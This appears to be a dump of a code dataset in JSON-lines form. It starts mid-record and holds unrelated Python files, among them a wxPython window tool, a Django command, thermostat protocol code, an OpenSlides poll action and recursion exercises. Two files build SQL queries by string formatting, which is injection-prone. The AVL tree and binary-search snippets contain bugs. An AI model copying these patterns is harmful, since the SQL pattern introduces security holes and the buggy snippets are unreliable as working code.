evt.Skip()\n\n\n def set_colour(self, color):\n if color == 0:\n self.SetBackgroundColour(self.__default_color)\n elif color == 1:\n self.SetBackgroundColour(self.__selected_color)\n else:\n self.SetBackgroundColour(self.__in_zone_color)\n\n\n\nclass Positer:\n def __init__(self, mode, desktop_mngr):\n self._desktop_manager = desktop_mngr\n \n metic = desktop_mngr.get_metric_info()\n self.__GRID_WIN_SIZE = (\n int(metic.desktop_width / 10)\n , int(metic.desktop_height / 9.5))\n\n self.__cell_names = NamesPool(mode)\n self.__selected_cells = []\n self.__cells = []\n self.__init_evt_key_ids()\n\n \n def __init_evt_key_ids(self):\n self.__evt_key_ids = {}\n for item in self.__cell_names.items():\n self.__evt_key_ids[wx.Window.NewControlId()] = item\n\n\n def __draw_cell_panel(self, nb):\n p = wx.Panel(nb)\n sizer = wx.GridBagSizer()\n\n for item in self.__cell_names.items():\n c = Cell(p, item)\n p.Bind(wx.EVT_BUTTON, self.__on_colour_btn, c)\n p.Bind(wx.EVT_BUTTON, c.on_select_button, c)\n sizer.Add(c, pos=(item.y, item.x), flag = wx.EXPAND|wx.ALL)\n self.__cells.append(c)\n \n dimentions = self.__cell_names.dimentions()\n\n for iy in range(dimentions.y):\n sizer.AddGrowableRow(iy)\n for ix in range(dimentions.x):\n sizer.AddGrowableCol(ix)\n p.SetSizerAndFit(sizer)\n nb.AddPage(p, \"Cells\")\n\n\n def __draw_info_panel(self, nb):\n metric = self._desktop_manager.get_metric_info()\n\n # f\"desktop size {(metric.desktop_width, metric.desktop_height)}\\n\" \\\n # f\"window region {metric.window_regn}\\n\" \\\n # f\"client rect {metric.client_rect}\\n\" \\\n # f\"window_width {metric.window_width}\\n\" \\\n # f\"window_height {metric.window_height}\"\n\n p = wx.Panel(nb)\n sizer = wx.GridBagSizer()\n\n lbl_desktop_size = wx.StaticText(p, -1, \n f\"Desktop size: {(metric.desktop_width, metric.desktop_height )}\")\n sizer.Add(lbl_desktop_size, pos=(0, 0), flag=wx.ALIGN_LEFT)\n\n sizer.AddGrowableRow(0)\n sizer.AddGrowableCol(0)\n p.SetSizerAndFit(sizer)\n nb.AddPage(p, \"Info\")\n\n\n def __draw_options_panel(self, nb):\n # not implemented now\n pass\n\n\n def __build_gui(self):\n self.__app = wx.App(False)\n style = ( wx.CLIP_CHILDREN | wx.STAY_ON_TOP |\n wx.NO_BORDER | wx.FRAME_SHAPED )\n \n\n metric = self._desktop_manager.get_metric_info()\n\n x = metric.window_regn.x2 - int(metric.window_width / 2) \\\n - int(self.__GRID_WIN_SIZE[0]/2)\n y = metric.window_regn.y2 - int(metric.window_height / 2) \\\n - int(self.__GRID_WIN_SIZE[1]/2)\n\n self.__grid_win = wx.Frame(None, wx.ID_ANY, pos=(x, y), style=style)\n p = wx.Panel(self.__grid_win)\n\n self.c_nb = wx.Notebook(p)\n sizer = wx.GridBagSizer()\n\n self.__draw_cell_panel(self.c_nb)\n self.__draw_info_panel(self.c_nb)\n self.__draw_options_panel(self.c_nb)\n sizer.Add(self.c_nb, pos =(0, 0), flag = wx.EXPAND|wx.ALL)\n\n sizer.SetSizeHints(p)\n sizer.AddGrowableRow(0)\n sizer.AddGrowableCol(0)\n p.SetSizerAndFit(sizer)\n\n self.__grid_win.SetSize(self.__GRID_WIN_SIZE)\n\n self.__create_accel_table(self.__grid_win)\n\n self.__grid_win.Show(True)\n self.__app.MainLoop()\n \n\n def __create_accel_table(self, win):\n self.event_id_close = wx.Window.NewControlId()\n self.event_id_enter = wx.Window.NewControlId()\n\n win.Bind(wx.EVT_MENU, self.__on_close, id=self.event_id_close)\n win.Bind(wx.EVT_MENU, self.__on_enter, id=self.event_id_enter)\n accel_list = [\n (wx.ACCEL_CTRL, ord('Q'), self.event_id_close),\n (wx.ACCEL_NORMAL, wx.WXK_ESCAPE, self.event_id_close),\n (wx.ACCEL_NORMAL, wx.WXK_RETURN, self.event_id_enter)]\n \n for k,v in self.__evt_key_ids.items():\n win.Bind(wx.EVT_MENU, self.__on_select_cell, id=k)\n accel_list.append((wx.ACCEL_NORMAL, ord(v.name), k))\n\n accel_tbl = wx.AcceleratorTable(accel_list)\n win.SetAcceleratorTable(accel_tbl)\n\n\n def __get_boundary_cells(self):\n dimention = self.__cell_names.dimentions()\n lt_x = dimention.x\n lt_y = dimention.y\n rb_x = 0\n rb_y = 0\n\n for c in self.__cells:\n if c.selected:\n lt_x = min(lt_x, c.x)\n lt_y = min(lt_y, c.y)\n rb_x = max(rb_x, c.x)\n rb_y = max(rb_y, c.y)\n\n return (Point(lt_x, lt_y), Point(rb_x, rb_y))\n\n \n def __on_enter(self, evt):\n dimention = self.__cell_names.dimentions()\n (lt_cell, rb_cell) = self.__get_boundary_cells()\n self._desktop_manager.move_window( \n lt_cell, rb_cell, dimention.x, dimention.y)\n self.__on_close(evt)\n\n\n def __on_close(self, evt):\n self.__grid_win.Close()\n # do your actions on close\n if evt != None:\n evt.Skip()\n\n\n def __on_select_cell(self, evt):\n print(f\"event id={evt.GetId()}\")\n (name, x, y) = self.__evt_key_ids[evt.GetId()]\n for c in self.__cells:\n if name == c.name:\n c.on_select_button(None)\n break\n self.__on_colour_btn(None)\n evt.Skip()\n\n def __on_colour_btn(self, evt):\n (lt_cell, rb_cell) = self.__get_boundary_cells()\n for c in self.__cells:\n if c.selected:\n c.set_colour(1)\n elif c.x in range(lt_cell.x, rb_cell.x + 1) and \\\n c.y in range(lt_cell.y, rb_cell.y + 1):\n c.set_colour(2)\n else:\n c.set_colour(0)\n if evt:\n evt.Skip()\n\n\n def show(self):\n self.__build_gui()\n \n\n def close(self):\n self.__on_close(None)\n\n\n\ndef get_mngr():\n # supports only windows for now\n # but probably \n mngr = WinMngr()\n return mngr\n\n\ndialog_closed = False;\n\ndef wait_and_close(positer):\n exit = False;\n time_expire = datetime.now() + timedelta(seconds=10)\n while not exit:\n time.sleep(0.1)\n time_now = datetime.now()\n\n if time_now > time_expire:\n positer.close()\n exit = True\n\n if dialog_closed == True:\n exit = True\n\ndef main():\n [known_args, other_args] = do_argparse()\n\n p = Positer(known_args.m, get_mngr())\n global dialog_closed\n thread_timer= Thread(target=wait_and_close, args=(p,))\n\n thread_timer.start()\n\n p.show()\n dialog_closed = True\n\n thread_timer.join()\n\nmain()\n","sub_path":"win_resize.py","file_name":"win_resize.py","file_ext":"py","file_size_in_byte":13250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"140401585","text":"import pickle\nimport pymysql\nimport re\npymysql.install_as_MySQLdb()\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom django_project.mysite.models import Events, Locations, MysiteOrganizers, MysiteCategories, TaggedCategories, \\\n Customplaces, MysiteVkEvents, LocationCities\n\nclass Command(BaseCommand):\n help = 'Add all confidence event to mysite_events (approve or reject)'\n\n # def add_arguments(self, parser):\n # parser.add_argument('events_list', nargs='*', type=int)\n\n def handle(self, *args, **options):\n # events = Events.objects.filter(is_deleted=0, is_active=1, image__isnull=False)\n good_events = MysiteVkEvents.objects.filter(is_new=0, event__isnull=False)\n bad_events = MysiteVkEvents.objects.filter(is_new=0, event__isnull=True)\n\n st = set()\n for event in good_events:\n st.update(re.findall('[\\p{а-яА-ЯёA-Za-z}][0-9\\p{а-яА-ЯёA-Za-z}]+', event.description.lower()))\n st.update(re.findall('[\\p{а-яА-ЯёA-Za-z}][0-9\\p{а-яА-ЯёA-Za-z}]+', event.name.lower()))\n\n for event in bad_events:\n st.update(re.findall('[\\p{а-яА-ЯёA-Za-z}][0-9\\p{а-яА-ЯёA-Za-z}]+', event.description.lower()))\n st.update(re.findall('[\\p{а-яА-ЯёA-Za-z}][0-9\\p{а-яА-ЯёA-Za-z}]+', event.name.lower()))\n\n result = {k: v for v, k in enumerate(st)}\n\n with open('stop-words.txt', 'r') as stp:\n stop_words = [line.strip() for line in stp]\n for w in stop_words:\n result[w] = 0\n\n\n with open('result_nn_dict.pickle', 'wb') as handle:\n print(len(result))\n pickle.dump(result, handle, protocol=pickle.HIGHEST_PROTOCOL)","sub_path":"django_project/mysite/management/commands/create_nn_dict.py","file_name":"create_nn_dict.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"175480662","text":"# coding:utf8\nfrom tornado.gen import coroutine, Return\nfrom base import BaseModel\n\n\nclass UserModel(BaseModel):\n @coroutine\n def get_user_by_id(self, user_id):\n sql = 'select * from user where id=%s' % user_id\n user = yield self.db.get(sql)\n raise Return(user)\n","sub_path":"model/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"542270316","text":"from typing import *\nimport copy\n\nimport sbsp_alg.msa\nfrom sbsp_container.msa import MSAType\nfrom sbsp_options.sbsp import SBSPOptions\nfrom sbsp_general.general import get_value\nimport Bio.SubsMat.MatrixInfo\n\n\nclass ScoringMatrix:\n\n def __init__(self, name=\"identity\", ignore_case=True):\n self._name = name\n self._ignore_case = ignore_case\n\n if name.startswith(\"blosum\"):\n self._blosum_matrix = getattr(Bio.SubsMat.MatrixInfo, name)\n ScoringMatrix.extend_blosum(self._blosum_matrix)\n self._scorer = self._score_blosum\n\n elif name == \"identity\":\n self._scorer = self._score_identity\n\n else:\n raise ValueError(\"Unknown scoring function\")\n\n @staticmethod\n def extend_blosum(matrix, stop_to_aa=-4, stop_to_stop=1, gap_and_aa=-4, gap_and_gap=-1):\n # type: (Dict[(str, str), float], int, int, int, int) -> None\n \"\"\"\n Extends blosum by making it symmetric (why the hell isn't it!!), and adding mapping to\n stop codons (i.e. *)\n :param matrix:\n :param stop_to_aa:\n :param stop_to_stop:\n :return:\n \"\"\"\n # get unique aa\n unique_aa = set(item for sublist in matrix for item in sublist) # get unique set of AA\n\n copy_matrix = copy.deepcopy(matrix)\n\n # make symmetric\n for a in copy_matrix:\n matrix[(a[1], a[0])] = copy_matrix[a]\n\n # for each, add penalty score\n for aa in unique_aa:\n matrix[(aa, \"*\")] = stop_to_aa\n matrix[(\"*\", aa)] = stop_to_aa\n\n matrix[(aa, \"-\")] = gap_and_aa\n matrix[(\"-\", aa)] = gap_and_aa\n\n matrix[(\"*\", \"*\")] = stop_to_stop\n matrix[(\"-\", \"-\")] = gap_and_gap\n\n\n def _score_identity(self, a, b):\n # type: (str, str) -> int\n return 1 if a == b and a != \"-\" else 0\n\n def _score_blosum(self, a, b):\n # type: (str, str) -> float\n return self._blosum_matrix[(a, b)]\n\n def score(self, a, b):\n # type: (str, str) -> float\n a = a.upper() if self._ignore_case else a\n b = b.upper() if self._ignore_case else b\n return self._scorer(a, b)\n\n\ndef compute_upstream_score(msa_t, position, msa_options, **kwargs):\n # type: (MSAType, int, SBSPOptions, Dict[str, Any]) -> float\n\n require_full_length = get_value(kwargs, \"require_full_length\", False)\n ignore_gaps_in_query = get_value(kwargs, \"ignore_gaps_in_query\", False)\n score_on_all_pairs = get_value(kwargs, \"score_on_all_pairs\", False)\n\n scoring_function = get_value(kwargs, \"scoring_function\", ScoringMatrix(\"identity\"), default_if_none=True)\n\n region_length = msa_options[\"search-upstream-of-conserved-region\"]\n\n begin = position - region_length # inclusive\n end = position # exclusive (don't count start)\n\n if begin < 0:\n if require_full_length:\n raise ValueError(\"Not enough upstream region\")\n begin = 0\n\n score = sbsp_alg.msa.compute_conservation_in_region(\n [x.seq._data for x in msa_t.list_alignment_sequences], # TODO: make compatible\n begin,\n end,\n skip_gaps=ignore_gaps_in_query,\n only_full_length=require_full_length,\n direction=\"upstream\",\n scorer=scoring_function,\n score_on_all_pairs=score_on_all_pairs\n )\n\n return score\n\n\ndef compute_downstream_score(msa_t, position, msa_options, **kwargs):\n # type: (MSAType, int, SBSPOptions, Dict[str, Any]) -> float\n\n require_full_length = get_value(kwargs, \"require_full_length\", False)\n ignore_gaps_in_query = get_value(kwargs, \"ignore_gaps_in_query\", False)\n\n scoring_function = get_value(kwargs, \"scoring_function\", ScoringMatrix(\"identity\"), default_if_none=True)\n\n region_length = msa_options[\"search-upstream-of-conserved-region\"]\n\n begin = position + 1 # inclusive (don't count start)\n end = position + 1 + region_length # exclusive\n\n if end >= msa_t.alignment_length():\n if require_full_length:\n raise ValueError(\"Not enough downstream region\")\n end = msa_t.alignment_length()\n\n score = sbsp_alg.msa.compute_conservation_in_region(\n [x.seq._data for x in msa_t.list_alignment_sequences], # TODO: make compatible\n begin,\n end,\n skip_gaps=ignore_gaps_in_query,\n only_full_length=require_full_length,\n direction=\"downstream\",\n scorer=scoring_function\n )\n\n return score\n\n\ndef compute_simple_saas(msa_t, i):\n # type: (MSAType, int) -> float\n\n num_vli = sum(1 for j in range(msa_t.number_of_sequences()) if msa_t[j][i] in {\"v\", \"l\", \"i\", \"-\"})\n\n return float(num_vli) / msa_t.number_of_sequences()\n\ndef compute_5prime_score(msa_t, position, msa_options, **kwargs):\n # type: (MSAType, int, SBSPOptions, Dict[str, Any]) -> float\n\n num_upper = sbsp_alg.msa.count_num_upper(msa_t.list_alignment_sequences, position, msa_options)\n start_identity = num_upper / float(msa_t.number_of_sequences())\n\n return start_identity\n\n\n\n\n\n\n\n\n\n\n","sub_path":"code/python/lib/sbsp_ml/msa_features.py","file_name":"msa_features.py","file_ext":"py","file_size_in_byte":5088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"159823101","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'pickingNumbers' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts INTEGER_ARRAY a as parameter.\n#\n\n\ndef pickingNumbers(a):\n a.sort()\n max_array_size = 0\n i = 0\n while i < len(a):\n index_plus = 0\n while i + index_plus < len(a):\n if a[i + index_plus] <= a[i] + 1:\n index_plus += 1\n else:\n break\n if index_plus > max_array_size:\n max_array_size = index_plus\n i += 1\n return max_array_size\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n n = int(input().strip())\n\n a = list(map(int, input().rstrip().split()))\n\n result = pickingNumbers(a)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","sub_path":"ProblemSolving/python/pickingNumbers.py","file_name":"pickingNumbers.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"240512480","text":"from datetime import datetime, time\r\n\r\nimport yaml\r\n\r\nfrom heatmiserV3.protocol import Protocol\r\nfrom heatmiserV3.singleton import Singleton\r\n\r\n\r\nclass ProtocolManager(metaclass=Singleton):\r\n\r\n def __init__(self):\r\n cfg = self._load_protocol_cfg()\r\n self.protocols = self._load_protocols(cfg)\r\n\r\n @staticmethod\r\n def _load_protocol_cfg():\r\n with open(\"config/protocol.yml\", \"r\") as stream:\r\n return yaml.load(stream)\r\n\r\n @staticmethod\r\n def _load_protocols(protocol_cfg):\r\n protocols = {}\r\n\r\n for device_id, protocol_cfg in protocol_cfg['protocols'].items():\r\n protocol = Protocol(device_id, protocol_cfg)\r\n protocols[device_id] = protocol\r\n\r\n return protocols\r\n\r\n def get_protocol(self, protocol):\r\n return self.protocols[protocol]\r\n\r\n @staticmethod\r\n def get_dow_time():\r\n now = datetime.now()\r\n return [now.isoweekday(),now.hour,now.minute,now.second]\r\n\r\n @staticmethod\r\n def get_2_byte(value :int) -> bytes:\r\n return value.to_bytes(2, 'little')\r\n\r\n @staticmethod\r\n def get_period(start_time :time, end_time :time) -> list:\r\n # hour=24 is used by heatmiser to indicate no action\r\n return [start_time.hour if start_time else 24,\r\n start_time.minute if start_time else 0,\r\n end_time.hour if end_time else 24,\r\n end_time.minute if end_time else 0]\r\n\r\n @staticmethod\r\n def get_timer_block(periods :list) -> list:\r\n \"\"\"Takes a list of up to 4 sub lists; each sublist is up to 2 datetime.time entries for start and optionally\r\n stop time.\"\"\"\r\n timer_block = []\r\n if len(periods) > 4:\r\n raise ValueError(\"Cannot have more than 4 periods specified in one timer block\")\r\n while len(periods) < 4:\r\n periods.append([None, None]) # fill up with blanks so there's the 4 required periods\r\n for period in periods:\r\n if len(period) == 1:\r\n period.append(None) # No stop time\r\n if len(period) != 2:\r\n raise ValueError(\"Must have 1 or 2 times per period - 1st for start and 2nd for stop\")\r\n timer_block += ProtocolManager().get_period(period[0], period[1])\r\n return timer_block\r\n\r\n @staticmethod\r\n def to_hex_str(value :list):\r\n return \" \".join(\"{:02x}\".format(x) for x in value)\r\n\r\n\r\n","sub_path":"heatmiserV3/protocol_manager.py","file_name":"protocol_manager.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"72918511","text":"import sys\nimport json\nimport os.path\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom nonlinear_capm_beta.estimation import *\n\n\ndef plot_cum_beta(filename, portfolio):\n \"\"\"plot_cum_beta\n \"\"\"\n\n print(\"\")\n print(\"***********************************\")\n print(\" plot_cum_beta \")\n print(\" filename: {}\".format(filename))\n print(\" portfolio: {}\".format(portfolio))\n print(\"***********************************\")\n print(\"\")\n\n query = \"\"\"\n select portfolio, id, parameters\n from beta_portfolios\n where filename = '{}'\n \"\"\".format(filename)\n\n if portfolio is not None:\n query = query + \" and portfolio = '{}'\".format(portfolio)\n\n df = sql_loader.sql_query_select(query)\n\n for i in range(len(df)):\n portfolio = df.loc[i, 'portfolio']\n id = df.loc[i, 'id']\n param = json.loads(df.loc[i, 'parameters'])\n\n plot_cum_beta_helper(filename, portfolio, id, param)\n\n return\n\n\ndef plot_cum_beta_helper(filename, portfolio, id, param):\n\n plot_title = \"{}_{}_{}\".format(filename, portfolio, id)\n\n print(\"Processing {}\".format(plot_title))\n\n # no_lags = 20 for daily returns, = 1 for monthly returns\n if str.find(filename, 'daily') >= 0:\n no_lags = 20\n mktrf = np.arange(-3, 3 + 0.001, .1)\n\n else:\n no_lags = 1\n mktrf = np.arange(-20, 20 + 0.001, 1)\n\n # Beta plot is drawn on the basis that RmRf is a vector of equal values\n x_data = np.zeros([len(mktrf), no_lags + 1])\n\n for i in range(0, no_lags + 1):\n x_data[:,i] = mktrf\n\n # compute cumulative beta\n trainer = Trainer()\n\n trainer.load_parameters(param)\n\n [_, beta] = trainer.derive_expret_beta(x_data)\n\n output_beta = np.zeros([len(mktrf), no_lags + 1])\n\n beta = beta[0]\n output_beta[:,0] = beta[:,0]\n\n for i in range(1, no_lags + 1):\n output_beta[:,i] = output_beta[:,i-1] + beta[:,i]\n\n del trainer\n\n # draw the cumulative beta graph using pyplot\n if no_lags >= 20:\n print(\"average cum.beta.0 : {:.4f}\".format(np.mean(output_beta[:,0])))\n print(\"average cum.beta.5 : {:.4f}\".format(np.mean(output_beta[:,5])))\n print(\"average cum.beta.20: {:.4f}\".format(np.mean(output_beta[:,20])))\n\n plt.figure(figsize=(7, 3))\n\n plt.plot(mktrf, output_beta[:, 0], 'r.', label='cumulative beta over 0 day')\n plt.plot(mktrf, output_beta[:, 5], 'g--', label='cumulative beta over 5 days')\n plt.plot(mktrf, output_beta[:, 20], 'k-', label='cumulative beta over 20 days')\n\n if str.find(filename, 'value') >= 0:\n plt.yticks(np.arange(0.8, 2.01, 0.2))\n elif str.find(filename, 'size') >= 0:\n plt.yticks(np.arange(0.5, 2.51, 0.5))\n elif str.find(filename, 'ff3factors') >= 0:\n plt.yticks(np.arange(-.4, .61, 0.2))\n else:\n print(\"average cum.beta.0 : {:.4f}\".format(np.mean(output_beta[:,0])))\n print(\"average cum.beta.1 : {:.4f}\".format(np.mean(output_beta[:,1])))\n\n plt.figure(figsize=(3.5, 3))\n\n plt.plot(mktrf, output_beta[:, 0], 'r.', label='cumulative beta over 0 month')\n plt.plot(mktrf, output_beta[:, 1], 'k-', label='cumulative beta over 1 month')\n\n if str.find(filename, 'value') >= 0:\n plt.yticks(np.arange(0.5, 4.01, 0.5))\n elif str.find(filename, 'size') >= 0:\n plt.yticks(np.arange(0.5, 4.01, 0.5))\n elif str.find(filename, 'ff3factors') >= 0:\n plt.yticks(np.arange(-.4, .61, 0.2))\n\n # plt.title(plot_title)\n plt.legend(loc='upper center')\n plt.grid()\n plt.tight_layout()\n\n plt.savefig('outputs/plot_cum_beta_{}.png'.format(plot_title))\n plt.close()\n\n return\n\n\n# Global variables\nsql_loader = None\n\nif __name__ == \"__main__\":\n\n sql_loader = DataLoader(connect=True)\n\n # plot_cum_beta('portfolio_size_daily', 'd1')\n # plot_cum_beta('portfolio_size_daily', 'd10')\n # plot_cum_beta('portfolio_value_daily', 'd1')\n # plot_cum_beta('portfolio_value_daily', 'd10')\n #\n # plot_cum_beta('ff3factors_daily', None)\n\n plot_cum_beta('portfolio_size', 'd1')\n plot_cum_beta('portfolio_size', 'd10')\n plot_cum_beta('portfolio_value', 'd1')\n plot_cum_beta('portfolio_value', 'd10')\n\n sql_loader.close()\n\n","sub_path":"figures/plot_cum_beta.py","file_name":"plot_cum_beta.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"319722465","text":"from typing import Any, Dict\n\nfrom ....models.models import Poll\nfrom ....shared.exceptions import ActionException\nfrom ....shared.patterns import Collection, FullQualifiedId\nfrom ....shared.schema import decimal_schema, optional_fqid_schema\nfrom ...generics.create import CreateAction\nfrom ...util.default_schema import DefaultSchema\nfrom ...util.register import register_action\nfrom ..option.create import OptionCreateAction\nfrom .base import base_check_100_percent_base\nfrom .mixins import PollPermissionMixin\n\noptions_schema = {\n \"description\": \"A option inside a poll create schema\",\n \"type\": \"object\",\n \"properties\": {\n \"text\": {\"type\": \"string\", \"description\": \"the text of an option\"},\n \"content_object_id\": optional_fqid_schema,\n \"Y\": decimal_schema,\n \"N\": decimal_schema,\n \"A\": decimal_schema,\n },\n \"additionalProperties\": False,\n}\n\n\n@register_action(\"poll.create\")\nclass PollCreateAction(CreateAction, PollPermissionMixin):\n \"\"\"\n Action to create a poll.\n \"\"\"\n\n model = Poll()\n schema = DefaultSchema(Poll()).get_create_schema(\n required_properties=[\"title\", \"type\", \"pollmethod\", \"meeting_id\"],\n additional_required_fields={\n \"options\": {\n \"type\": \"array\",\n \"items\": options_schema,\n \"minItems\": 1,\n }\n },\n optional_properties=[\n \"content_object_id\",\n \"description\",\n \"min_votes_amount\",\n \"max_votes_amount\",\n \"global_yes\",\n \"global_no\",\n \"global_abstain\",\n \"onehundred_percent_base\",\n \"votesvalid\",\n \"votesinvalid\",\n \"votescast\",\n \"entitled_group_ids\",\n \"backend\",\n ],\n additional_optional_fields={\n \"publish_immediately\": {\"type\": \"boolean\"},\n },\n )\n\n def update_instance(self, instance: Dict[str, Any]) -> Dict[str, Any]:\n action_data = []\n\n state_change = self.check_state_change(instance)\n\n # check enabled_electronic_voting\n if instance[\"type\"] in (Poll.TYPE_NAMED, Poll.TYPE_PSEUDOANONYMOUS):\n organization = self.datastore.get(\n FullQualifiedId(Collection(\"organization\"), 1),\n [\"enable_electronic_voting\"],\n )\n if not organization.get(\"enable_electronic_voting\"):\n raise ActionException(\"Electronic voting is not allowed.\")\n\n # check entitled_group_ids and analog\n if instance[\"type\"] == Poll.TYPE_ANALOG and \"entitled_group_ids\" in instance:\n raise ActionException(\"entitled_group_ids is not allowed for analog.\")\n # check analog and 100percentbase entitled\n if (\n instance[\"type\"] == Poll.TYPE_ANALOG\n and instance.get(\"onehundred_percent_base\") == \"entitled\"\n ):\n raise ActionException(\n \"onehundred_percent_base: value entitled is not allowed for analog.\"\n )\n self.check_100_percent_base(instance)\n\n # check non-analog and publish_immediately\n if instance[\"type\"] != Poll.TYPE_ANALOG and \"publish_immediately\" in instance:\n raise ActionException(\"publish_immediately only allowed for analog polls.\")\n\n # handle non-global options\n weight = 1\n unique_set = set()\n for option in instance.get(\"options\", []):\n c_letter = \"T\" if \"text\" in option else \"C\"\n content = (\n option.get(\"content_object_id\")\n if c_letter == \"C\"\n else option.get(\"text\")\n )\n o_obj = f\"{c_letter},{content}\"\n if o_obj in unique_set:\n raise ActionException(f\"Duplicated option in poll.options: {content}\")\n else:\n unique_set.add(o_obj)\n data: Dict[str, Any] = {\n \"poll_id\": instance[\"id\"],\n \"meeting_id\": instance[\"meeting_id\"],\n \"weight\": weight,\n }\n weight += 1\n for key in (\"text\", \"content_object_id\"):\n if key in option:\n data[key] = option[key]\n if instance[\"type\"] == \"analog\":\n if instance[\"pollmethod\"] == \"N\":\n data[\"no\"] = self.parse_vote_value(option, \"N\")\n else:\n data[\"yes\"] = self.parse_vote_value(option, \"Y\")\n if instance[\"pollmethod\"] in (\"YN\", \"YNA\"):\n data[\"no\"] = self.parse_vote_value(option, \"N\")\n if instance[\"pollmethod\"] == \"YNA\":\n data[\"abstain\"] = self.parse_vote_value(option, \"A\")\n\n action_data.append(data)\n\n # handle global option\n global_data = {\n \"text\": \"global option\",\n \"used_as_global_option_in_poll_id\": instance[\"id\"],\n \"meeting_id\": instance[\"meeting_id\"],\n \"weight\": 1,\n }\n action_data.append(global_data)\n\n # Execute the create option actions\n self.apply_instance(instance)\n self.execute_other_action(\n OptionCreateAction,\n action_data,\n )\n\n # set state\n instance[\"state\"] = Poll.STATE_CREATED\n if state_change:\n instance[\"state\"] = Poll.STATE_FINISHED\n if (\n instance[\"type\"] == Poll.TYPE_ANALOG\n and instance[\"state\"] == Poll.STATE_FINISHED\n and instance.get(\"publish_immediately\")\n ):\n instance[\"state\"] = Poll.STATE_PUBLISHED\n\n # set votescast, votesvalid, votesinvalid defaults\n for field in (\"votescast\", \"votesvalid\", \"votesinvalid\"):\n instance[field] = instance.get(field, \"0.000000\")\n\n # calculate is_pseudoanonymized\n instance[\"is_pseudoanonymized\"] = instance[\"type\"] == Poll.TYPE_PSEUDOANONYMOUS\n instance.pop(\"options\", None)\n return instance\n\n def parse_vote_value(self, data: Dict[str, Any], field: str) -> Any:\n return data.get(field, \"-2.000000\")\n\n def check_100_percent_base(self, instance: Dict[str, Any]) -> None:\n pollmethod = instance[\"pollmethod\"]\n onehundred_percent_base = instance.get(\"onehundred_percent_base\")\n base_check_100_percent_base(pollmethod, onehundred_percent_base)\n\n def check_state_change(self, instance: Dict[str, Any]) -> bool:\n if instance[\"type\"] != Poll.TYPE_ANALOG:\n return False\n check_fields = (\n \"votesvalid\",\n \"votesinvalid\",\n \"votescast\",\n )\n for field in check_fields:\n if instance.get(field):\n return True\n for option in instance.get(\"options\", []):\n if option.get(\"Y\") or option.get(\"N\") or option.get(\"A\"):\n return True\n return False\n","sub_path":"openslides_backend/action/actions/poll/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"615711744","text":"def length_of_string(string:str):\n if string == '': return 0\n return 1 + length_of_string(string[1:])\n\ndef linear_search(my_list, search_value, counter=0):\n try:\n if my_list[counter] == search_value:\n return True\n else:\n return linear_search(my_list, search_value, counter+1)\n except IndexError:\n return False\n\n\ndef count_instance(my_list, search_value,cnt=0):\n if my_list == []:\n return cnt\n if my_list[0] == search_value:\n return count_instance(my_list[1:],search_value,cnt+1)\n else:\n return count_instance(my_list[1:],search_value,cnt)\n\ndef are_dupes(my_list:list):\n return are_dupes_helper(my_list)\n\ndef are_dupes_helper(my_list:list,index=0):\n if my_list == []:\n return False\n if count_instance(my_list, my_list[0]) > 1:\n return True\n else:\n return are_dupes_helper(my_list[1:])\n\ndef remdup(l, dup=None):\n\tif len(l) < 2:\n\t\treturn l\n\tif dup is not None:\n\t\ttry:\n\t\t\tl.remove(dup)\n\t\t\tremdup(l, dup)\n\t\texcept ValueError:\n\t\t\tpass\n\treturn [l[0]] + remdup(l[1:], l[0])\n\ndef binary_search(my_list:list,search_value:int,high:int,low:int):\n if high >= low:\n middle = ( high + low) // 2\n \n if my_list[middle] == search_value:\n return middle\n elif my_list[middle] > search_value:\n return binary_search(my_list,search_value,low,middle -1)\n else:\n return binary_search(my_list,search_value,high,middle +1)\n else:\n return False\n\n\ndef is_substring(substring, a_str, index=0):\n if len(substring) == index:\n return True\n if len(a_str) == 0:\n return False\n \n if substring[index] == a_str[0]:\n return is_substring(substring, a_str[1:],index+1)\n else:\n return is_substring(substring, a_str[1:])\n\ndef x_ish(a_str, x):\n if len(x) == 0:\n return True\n\n if linear_search(a_str,x[0]):\n return x_ish(a_str,x[1:])\n return False\n\ndef palindrome(a_str):\n if len(a_str) <= 1:\n return True\n if a_str[0] == a_str[-1]:\n return palindrome(a_str[1:-1])\n return False","sub_path":"recursion/recursive_extravaganza.py","file_name":"recursive_extravaganza.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"166125353","text":"# AVL Tree\n\nclass Node:\n def __init__(self):\n self.V = None\n self.L = None\n self.R = None\n\n def getR(self):\n return self.R\n\n def getL(self):\n return self.L\n\n def setR(self,nod):\n self.R = nod\n\n def setL(self,nod):\n self.L = nod\n\n def getV(self):\n return self.value\n\n def setV(self,value):\n self.V = value\n\nclass Tree:\n def __init__(self):\n self.root = None\n\n def insert(self,value):\n nod = Node()\n nod.setV(value)\n if self.root is None:\n self.__root = nod\n else:\n self.__insert(self.root(),nod)\n pass\n\n def __insert(self,root,nod):\n if root.getV() < nod.getV():\n if root.getR is None:\n root.setR(nod)\n else:\n self.__insert(root.getR(),nod)\n else:\n if root.getL is None:\n root.setL(nod)\n else:\n self.__insert(root.getL(),nod)\n 